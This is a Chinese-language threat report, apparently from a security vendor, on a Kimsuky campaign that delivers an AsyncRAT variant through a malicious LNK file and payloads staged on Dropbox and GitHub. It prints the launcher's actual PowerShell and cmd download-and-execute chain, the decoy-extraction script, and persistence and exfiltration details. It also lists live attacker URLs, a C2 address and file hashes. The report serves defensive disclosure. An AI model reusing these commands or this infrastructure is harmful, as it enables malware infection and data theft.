APT-C-55（Kimsuky）组织依托GitHub+Dropbox分发恶意载荷的攻击活动分析
- 2026-05-20 11:11:17
APT-C-55（Kimsuky），又被称为BabyShark等，最早由Kaspersky在2013年公开披露。该组织长期针对朝鲜半岛目标国家的政府机构、外交部门、智库、媒体以及学术机构开展网络攻击活动，随后其攻击范围逐步扩大至包括北美洲、欧洲及其他地区的目标。Kimsuky组织主要以情报窃取为核心目的，持续通过鱼叉式网络钓鱼等方式获取敏感信息。
近年来，该组织在攻击手法上不断演进，常利用恶意文档（如HWP、Office宏文件）、脚本加载器、LNK文件以及多阶段载荷等方式进行入侵，并结合自研恶意工具与开源工具实施持久化控制。尽管其活动多次被安全厂商披露，但该组织依然保持较高活跃度，持续调整战术与技术手段，在隐蔽性和攻击链复杂度方面呈现不断增强的趋势。
一、攻击活动分析
1. 攻击流程分析
Kimsuky通过lnk文件发起钓鱼攻击。用户点击运行后，lnk文件携带的脚本会从自身解密出诱饵文件并打开，以此迷惑受害者，同时从Dropbox下载taskschd.vbs脚本执行恶意功能，该vbs继续从攻击者的Github仓库下载downloader脚本执行,downloader继续下载两个powershell脚本，功能分别是上传受害者电脑基本信息到攻击者仓库，同时创建计划任务执行taskschd.vbs，另一个ps1脚本下载加密数据并解密出AsyncRAT变体用于窃取敏感信息。
2. 载荷投递分析
本次捕获样本名为“중국 CMG 인터뷰.docx.lnk”(中国 CMG 访谈.docx.lnk)，具体信息如下：
MD5 | ba8e682a72c6a3e634c070f0fb057bf5 |
文件大小 | 156 KB (159,744 字节) |
文件名 | 중국 CMG 인터뷰.docx.lnk |
受害者一旦点击运行“중국 CMG 인터뷰.docx.lnk”文件，便会通过PowerShell执行如下脚本:
$se='MJQye[D $key=3; for($i=0;$i -le $se.Length;$i++) { $v+=[System.Text.Encoding]::ASCII.GetString($se[$i]-3) }; $b = [System.Convert]::FromBase64String($v); $c = [System.Text.Encoding]::UTF8.GetString($b); $c; $sb = [scriptblock]::Create($c); & $sb; "&cd /d "%appdata%\Microsoft\MMC" & copy c:\windows\system32\curl.exe TMP0392.exe & TMP0392.exe -k -L -o taskschd.vbs "https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0" &attrib +h taskschd.vbs &taskschd.vbs&exit |
这段脚本主要有两个功能。第一个功能是打开伪装文档。具体是这样的：首先将硬编码的变量$se每个字符ASCII编码值减去3，然后进行Base64解码，最终执行得到UTF-8编码的下一阶段脚本，解码后的脚本如下。
$comp=0; $shopping='length'; $sunday=Get-Location; $notify=&(gcm *et-Child*) *.lnk; //查找lnk文件 $notify=$notify|where-object{$_.$shopping -eq 0x0260F8};//定位大小为0x0260F8的lnk文件 $monkey=$notify; $notify=$notify|Select-Object -ExpandProperty Name; if([string]::IsNullOrEmpty($notify)) { $comp=1; $sunday=$env:USERPROFILE; $sunday=$sunday+'\appdata\local\temp'; $notify=Get-ChildItem -Path $sunday -Recurse -Filter *.lnk|where-object{$_.$shopping -eq 0x0260F8}|ForEach-Object{$_.FullName}|Select-Object -First 1; $monkey=$notify };//获取在%temp%目录定位此文件(大小为0x0260F8字节) $oil=$notify.substring(0,$notify.length-4); $wire=[System.IO.BinaryReader]::new([System.IO.File]::open($notify,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read)); //读取文件 try { $wire.BaseStream.Seek(0x00001B58,[System.IO.SeekOrigin]::Begin); $snow=$wire.ReadBytes(0x06972);//从0x00001B58处读取0x06972大小的数据 }finally { $wire.Close() }; $black=0; $chair=0; $body=$snow.count; while ($black -lt $body) { $chipper=0x26; $date=($chipper+$black%2)%0x100; $snow[$black]=$snow[$black] -bxor $date; $black++ };//xor解密载荷 [System.IO.File]::WriteAllBytes($oil,$snow); if($comp -eq 1){ $book=$oil |
这段代码的功能是在当前目录或者临时目录定位大小为0x0260F8字节（156KB）的LNK文件，也就是名为“중국 CMG 인터뷰.docx.lnk”的文件，然后从偏移量 0x00001B58处读取0x06972字节（约27KB）数据。最后使用XOR算法解密出诱饵文件并打开。诱饵文档如下：
第二个功能是拷贝curl.exe为TMP0392.exe，然后通过TMP0392.exe从远程地址“https[:]//www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0”下载“taskschd.vbs”文件。最后将“taskschd.vbs”加隐藏属性后执行，以避免受害者发现。
3. 攻击组件分析
3.1. 脚本组件
“taskschd.vbs”是一个VBS脚本文件，信息如下：
MD5 | d9d7d5feb2abc828b58142fc63509d80 |
文件大小 | 1.52 KB (1,562 字节) |
文件名 | taskschd.vbs |
该脚本是一个被混淆之后的VBS脚本，攻击者通过Replace函数增加了大量的干扰分析的内容，经过去混淆之后，“taskschd.vbs”文件内容如下，该文件功能就是从“https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini”处下载目标文件，并保存“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”，然后WMI隐秘执行该bat脚本文件。
“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”是一个bat批处理文件，具体信息如下：
MD5 | 23da5ff2ed7bd4ac5a2a148afc037b6a |
文件大小 | 499 字节 (499 字节) |
文件名 | a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat |
“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”文件的功能是分别从dropbox.com和github.com两个公共存储平台下载文件分别保存到“Eudksref.ps1”和“Eudksre.ps1”，然后通过PowerShell执行“Eudksre.ps1”文件。
“Eudksre.ps1”文件信息如下：
MD5 | 849ddfdba810b251522690d51475a359 |
文件大小 | 3.12 KB (3,199 字节) |
文件名 | Eudksre.ps1 |
“Eudksre.ps1”的主要功能是读取“https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容，然后使用修改过的RC4解密算法解密“fox.png”文件内容，然后通过.Net反射加载的方式执行解密之后的.Net载荷。
Eudksref.ps1信息如下：
MD5 | 45b6b7dadc13e4a4cc30dd82eb58c3ed |
文件大小 | 1.63 KB (1,677 字节) |
文件名 | Eudksref.ps1 |
“Eudksref.ps1”是一个PowerShell脚本，该脚本首先创建一个名为“GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-F706378A30E}”计划任务，用于持久化执行“taskschd.vbs”，然后会收集机器相关信息，包括系统信息，用户本地应用数据目录，进程列表，并将这些数据编码之后发送到Github平台进行保存。
3.2. PE 组件
“Eudksre.ps1”通过反射加载的方式执行一个.Net组件，该文件不落地，原始文件名为“rTom.exe”，经分析发现该文件为AsyncRAT变种木马。
MD5 | 0d8ceb7dea7d471afa2f8e753b13d2d6 |
文件大小 | 2.24 MB (2,355,200 字节) |
文件名 | rTom.exe |
Timestamp | 2026-03-17 08:21:28 |
当程序运行之后首先通过互斥避免多开。
在完成必要的socket初始化之后，连接C2服务器（112.216.9.171: 3385）
随后恶意程序会采集受害主机的用户名、操作系统信息、木马程序自身版本、当前运行权限是否为管理员、前台活动窗口标题等多类设备与运行状态信息，完成信息汇总后主动回传至服务端。
然后恶意程序在接收到服务端返回的数据后，会调用回调函数clsiesockesdfwe.ReadServertData对返回内容进行处理，首先校验当前网络连接状态是否正常，确认无异常后再读取全部返回数据并暂存到缓冲区。
接着创建线程，调用Packet.Read函数进行处理，该函数是一个插件管理器，具有执行插件(plugin)和保存插件(savePlugin)的功能。
如果执行的是plugin功能，则首先判断本地是否保存有该插件，如果有该插件，便直接内存加载执行即可，如果没有该插件则先向服务端请求插件信息。
savePlugin功能的原理是将插件的Hash信息和二进制数据(以Hash为键名，以插件的字节数据为键值相对应)保存到注册表中。
攻击者前期采用分层投递的轻量化攻击战术，释放的恶意样本仅回传受害主机的基础环境与身份信息，后续可以根据回传的主机信息做定向筛选，仅针对符合预设攻击目标条件的受害主机，才会进一步下发各类专用功能插件开展深度信息搜集，这种按需加载的阶段化攻击设计，能够大幅压缩初始载荷的恶意特征面，最大程度避免攻击链路提前暴露。
二、攻击者仓库分析
通过下载链接https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini，我们对攻击者github账号进行了分析，发现该账号于2026年1月份创建，随后在二月份创建项目仓库，并上传恶意代码。
在对仓库样本进行深入分析时发现，仓库内的PNG文件都是加密恶意载荷。这些文件均采用与前文一致的RC4密钥进行加密处理。对其解密后进一步分析表明，这些载荷均属于AsyncRAT家族，推测为基于AsyncRAT开源代码进行二次开发，具体表现在通信协议、配置结构及功能模块上进行了定制化修改，体现出攻击者在持续迭代其工具链的过程。
此外，在仓库中还发现攻击者的测试样本，这些样本很可能用于功能测试或开发调试阶段。
最后我们还发现部分受害者信息也已上传到github仓库，如下所示。
三、归属研判
经深度发现本次攻击方式和Kimsuky组织以往TTP存在较大关联，具体表现如下所示：
1.自我们披露Kimsuky组织利用GitHub作为载荷平台的攻击方式以来[1]，该组织一直保留这种攻击方式。
2．本次利用.docx.lnk的文件作为攻击入口，同时lnk执行恶意载荷的文件名含有“setting.ini”等字符串，这和以往攻击方式类似。
3.lnk读取自身数据解密出诱饵文档以及使用powershell脚本执行C#程序的方式也和该组织以往利用方式符合，并且AsyncRAT变体在该组织之前的攻击活动中也被使用过[2]。
4.样本上传地为韩国地区，分析受害者信息我们发现和之前攻击行动存在相同受害者。
综上，我们较有把握将本轮攻击行动归属到APT-C-55（Kimsuky）组织。
总结
本次攻击中Kimsuky组织通过滥用合法平台作为通信与分发通道，下发恶意载荷并回传窃取数据，从而有效规避了传统基于特征与流量行为的网络检测与响应（NDR）机制。这类“以合法掩护恶意”的方式，使攻击流量在表面上与正常业务通信高度相似，大幅降低了被识别与拦截的概率。同时，攻击者采用插件化、模块化的木马架构，在初始入侵后可按需动态加载不同功能模块（如信息窃取、横向移动等），从而实现更隐蔽且灵活的攻击流程。
此外本文披露的相关恶意代码、C&C只是APT-C-55组织近期部分攻击过程中的所使用的载荷，该组织不会因为一次攻击行动的暴露而停止活动，反而会持续更新其载荷。在这里提醒用户加强安全意识，不要执行未知样本、点击来历不明的链接等，否则容易在毫无防范的情况下被攻陷，进而泄漏机密文件、重要情报。附录 IOC
MD5:
ba8e682a72c6a3e634c070f0fb057bf5
bd17b8b10675031cec05c0cd8a001fac
0d8ceb7dea7d471afa2f8e753b13d2d6
d9d7d5feb2abc828b58142fc63509d80
e0e4aec6d494fe68cdaa52d6878a8366
b406ea5b8628cb7801f47c0189b96182
23da5ff2ed7bd4ac5a2a148afc037b6a
45b6b7dadc13e4a4cc30dd82eb58c3ed
73ff669fc282653bd6c42cf87ade9337
02ebc2356f9f700bbdac444cdefa0da2
849ddfdba810b251522690d51475a359
IOC:
https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0
https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini
https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&st=kn296823&dl=1
https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini
https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png
112.216.9[.]171:3385
112.216.9[.]171:7707
参考链接：
[1] https://mp.weixin.qq.com/s/GzMoR8jKjelzuj5BPhpJYA
[2]https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/
360高级威胁研究院
360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。
360官网：www.360.cn
